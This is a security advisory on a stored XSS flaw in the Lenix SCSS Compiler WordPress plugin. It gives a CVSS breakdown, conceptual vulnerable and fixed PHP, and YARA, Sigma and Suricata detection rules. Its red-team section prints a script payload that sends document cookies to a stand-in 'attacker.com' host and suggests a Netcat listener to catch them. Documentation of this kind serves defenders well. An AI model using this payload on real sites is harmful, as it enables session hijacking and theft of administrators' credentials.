CVE-2025-60144

Executive Summary

CVE-2025-60144 is a Stored Cross-Site Scripting (XSS) vulnerability in the Lenix SCSS Compiler WordPress plugin (slug: lenix-scss-compiler) by vendor Yonifre. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript or HTML that persists on the server and executes in the context of any user viewing the affected page. With a CVSS score of 5.9 (Medium), the attack vector is network-based, requires low complexity, and necessitates user interaction (e.g., an admin visiting a crafted page). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As such, it is a supply chain risk for any WordPress site using the Lenix SCSS Compiler plugin. Users should monitor the plugin’s update channel and consider disabling or removing the plugin until a patch is released. No known malicious packages or typosquatting variants have been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.9 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject payload.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS increases the potential for persistent attacks against administrators and users.

Deep Dive & Mechanics

The Lenix SCSS Compiler plugin provides a web-based interface for compiling SCSS to CSS. The vulnerability exists in the plugin’s input handling for SCSS code or configuration parameters. When a user submits SCSS content (e.g., via a textarea or admin panel), the plugin fails to sanitize or escape the input before storing it in the database and later rendering it on a page. An attacker can inject a payload such as:

<script>alert('XSS')</script>

This payload is stored and executed whenever an administrator or user views the affected page (e.g., the plugin’s settings or compilation results page). The lack of output encoding allows the injected script to run in the victim’s browser, potentially leading to session hijacking, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin’s main PHP file (e.g., lenix-scss-compiler.php) where user input is directly echoed or stored without sanitization.

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
$scss_code = $_POST['scss_input'];
update_option('lenix_scss_code', $scss_code);
// Later, when rendering:
echo get_option('lenix_scss_code');

Patched Code (Hypothetical):

// Patched: Sanitize and escape output
$scss_code = sanitize_textarea_field($_POST['scss_input']);
update_option('lenix_scss_code', $scss_code);
// When rendering:
echo esc_html(get_option('lenix_scss_code'));

The patch would involve using WordPress functions like sanitize_textarea_field() for storage and esc_html() or wp_kses_post() for output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with the Lenix SCSS Compiler plugin (version <= 1.2) installed and activated.
• Network access to the WordPress admin panel or any page that accepts SCSS input.

Exploitation Steps:

1. Identify the vulnerable endpoint: Navigate to the plugin’s settings page (e.g., /wp-admin/admin.php?page=lenix-scss-compiler).
2. Craft the payload: Inject a stored XSS payload into the SCSS input field. Example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form: The payload is stored in the database.
4. Trigger execution: When an administrator visits the same page, the payload executes, exfiltrating cookies or performing actions on behalf of the victim.

Lab Setup:

• Use a local WordPress environment (e.g., Docker, XAMPP) with the vulnerable plugin.
• Set up a listener (e.g., Netcat or a simple HTTP server) to capture exfiltrated data.

Blue Team

Detection:

• Monitor for unusual POST requests to plugin-specific endpoints containing script tags or event handlers.
• Look for unexpected changes to the lenix_scss_code option in the database.
• Use web application firewalls (WAF) to block common XSS patterns.

Hunting:

• Search for stored XSS indicators in the database:

  SELECT * FROM wp_options WHERE option_name = 'lenix_scss_code' AND option_value LIKE '%<script%';
  

• Review server logs for requests containing <script> or onerror= in POST data.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin not analyzed)
• Network Indicators:
  • Outbound connections to attacker-controlled domains from the WordPress server.
  • POST requests to /wp-admin/admin.php?page=lenix-scss-compiler with suspicious payloads.
• Database Indicators:
  • The wp_options table contains lenix_scss_code with embedded JavaScript.
• Log Entries:
  • PHP error logs showing unescaped output warnings.
  • Web server access logs with %3Cscript%3E or similar URL-encoded XSS patterns.

Detection Engineering

YARA Rule

rule CVE_2025_60144_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Lenix SCSS Compiler plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60144"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_option = "lenix_scss_code"
    condition:
        $plugin_option and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: Stored XSS in Lenix SCSS Compiler Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts against CVE-2025-60144
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=lenix-scss-compiler'
        cs-uri-query|contains|wide:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in SCSS comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60144 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"page=lenix-scss-compiler"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Remove any stored malicious content from the database (e.g., DELETE FROM wp_options WHERE option_name = 'lenix_scss_code' AND option_value LIKE '%<script%').
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in POST data.

Long-Term Fix:

• Apply input sanitization using sanitize_textarea_field() and output escaping using esc_html() or wp_kses_post().
• Use Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update all WordPress plugins and core.

Vendor Contact:

• No official patch or advisory has been released. Users should monitor the WordPress plugin repository for updates.

Valters IT